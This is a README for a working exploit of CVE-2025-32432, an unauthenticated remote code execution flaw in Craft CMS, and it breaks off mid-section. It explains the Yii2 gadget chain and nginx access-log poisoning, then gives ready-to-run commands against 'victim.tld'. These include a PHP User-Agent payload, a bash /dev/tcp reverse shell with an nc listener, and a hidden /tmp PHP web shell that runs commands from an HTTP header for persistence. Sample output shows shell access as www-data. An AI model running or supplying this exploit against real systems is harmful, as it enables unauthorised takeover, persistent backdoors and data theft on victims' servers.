
Working PoC for CVE-2025-32432 - Craft CMS <= 5.6.16 unauthenticated RCE via Yii2 PhpManager gadget + nginx access.log poisoning
Working proof-of-concept for CVE-2025-32432, an unauthenticated remote code execution vulnerability in Craft CMS versions up to and including 5.6.16 (also affects 4.x and 3.x trees on equivalent code paths).
Search keywords: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit,
Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior,
nginx log poisoning Craft, unauth RCE craftcms 2025.
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'
Default mode targets vanilla Craft CMS installs. A --lab flag is
included for the carangueijada-20 challenge of the
hacklab-platform project,
which gates Craft behind a custom session cookie.
Affected component: craft\controllers\AssetsController::actionGenerateTransform.
The action is registered as allowAnonymous, so no authentication is
required. It accepts a POST parameter handle which is then spread
into a Craft::createObject() call:
$transform = Craft::createObject([
'class' => ImageTransform::class,
...$handle,
]);
When $handle is an associative array under attacker control, the
spread injects arbitrary keys into the constructor config. In particular,
a key beginning with as is interpreted by yii\base\Component::__set
as a behavior attachment, which calls Yii::createObject($config) on
the value before any type check:
elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
$this->attachBehavior(
$name,
$value instanceof Behavior ? $value : Yii::createObject($value),
);
return;
}
The Yii2 fix in 2.0.50 added is_subclass_of($value['class'], Behavior::class)
guarding this branch; vulnerable installs (Yii2 <= 2.0.49, or earlier
patched-out check) skip the guard entirely.
yii\rbac\PhpManagerPhpManager is a stock Yii2 class. Its init() calls load(), which
calls loadFromFile($this->itemFile). loadFromFile is literally:
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}
require parses any file on disk as PHP. If the file contains a
<?php ... ?> block, that block runs in the worker. By pointing
itemFile at a file whose content the attacker controls, full RCE is
achieved.
access.logThe reliable cross-install sink is the nginx combined-format
access.log. It records the request User-Agent verbatim, including
non-printable characters and most punctuation. By sending a request
whose User-Agent is <?php system('id'); exit; ?>, the attacker
plants a PHP block at a known path. Pointing itemFile at
/var/log/nginx/access.log then requires the log, executing every
<?php ... ?> block in order.
Two subtleties matter:
" to \x22
in the combined format, which breaks PHP parsing of the line. Use
single quotes or chr() concatenation.exit; at the end so require aborts before parsing later
log lines that may contain other malformed payloads.| Component | Vulnerable | Patched |
|---|---|---|
| Craft CMS | <= 5.6.16 | 5.6.17 |
| Craft CMS | <= 4.15.2 | 4.15.3 |
| Craft CMS | <= 3.9.14 | 3.9.15 |
| Yii2 | <= 2.0.49 | 2.0.50 |
Craft 5.6.17 adds an ImageTransformerInterface check on the
transformer class. Yii2 2.0.50 adds a Behavior subclass check in
Component::__set. Either fix alone closes this exact gadget chain.
requests library (pip install -r requirements.txt)assetId on the target. Default 2; override with
-a <id> if needed (asset id 1 is usually the admin avatar).python3 exploit.py -u http://victim.tld -c 'id'
python3 exploit.py -u http://victim.tld -p /cms -c 'id'
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'
itemFile (different log path, FPM session, etc.)python3 exploit.py -u http://victim.tld \
-i /var/log/apache2/access.log \
-c 'id'
The carangueijada-20 lab from the
hacklab-platform gates
the Craft install behind a coopsess cookie issued by PATCH /login.
The --lab flag handles that handshake automatically.
python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
-c 'id; uname -a'
Make sure www.carangueijada.coop resolves to the lab IP (add to
/etc/hosts if needed).
The --revshell flag fires a bash -i >& /dev/tcp/<lhost>/<lport> 0>&1
connect-back, backgrounded so the gadget POST returns instantly.
Two-terminal flow (most reliable):
# terminal 1 - listener on your machine
nc -lvnp 4444
# terminal 2 - fire exploit
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444
One-terminal flow with built-in listener:
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444 \
--auto-listen
--auto-listen spawns nc -lvnp <lport> in the same terminal before
firing the payload. Ctrl+C exits when you are done.
Sample session (lab):
$ python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
--revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*] coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*] HTTP 200
[*] Reverse shell fired.
# in the listener:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$
Stabilizing the shell (after connect, run inside the reverse shell):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z to background nc
stty raw -echo; fg
# Enter twice
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200
On the first run, the exploit poisons access.log once to drop a
hidden PHP wrapper at /tmp/.cve32432_w.php. The wrapper reads the
X-Cmd HTTP header and runs system($_SERVER['HTTP_X_CMD']). Every
subsequent dispatch points itemFile at the wrapper file and passes
the command via header. No more poisoning, no more log pollution, no
more "first <?php exit; block wins" failures.
If you want to force re-drop, delete /tmp/.cve32432_w.php on the
target (you can do this through the wrapper itself: --cmd 'rm /tmp/.cve32432_w.php').
Successful run against fresh target:
[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*] CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*] poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*] HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux
Polluted-log fallback (target has been exploited before, older payload exits before yours):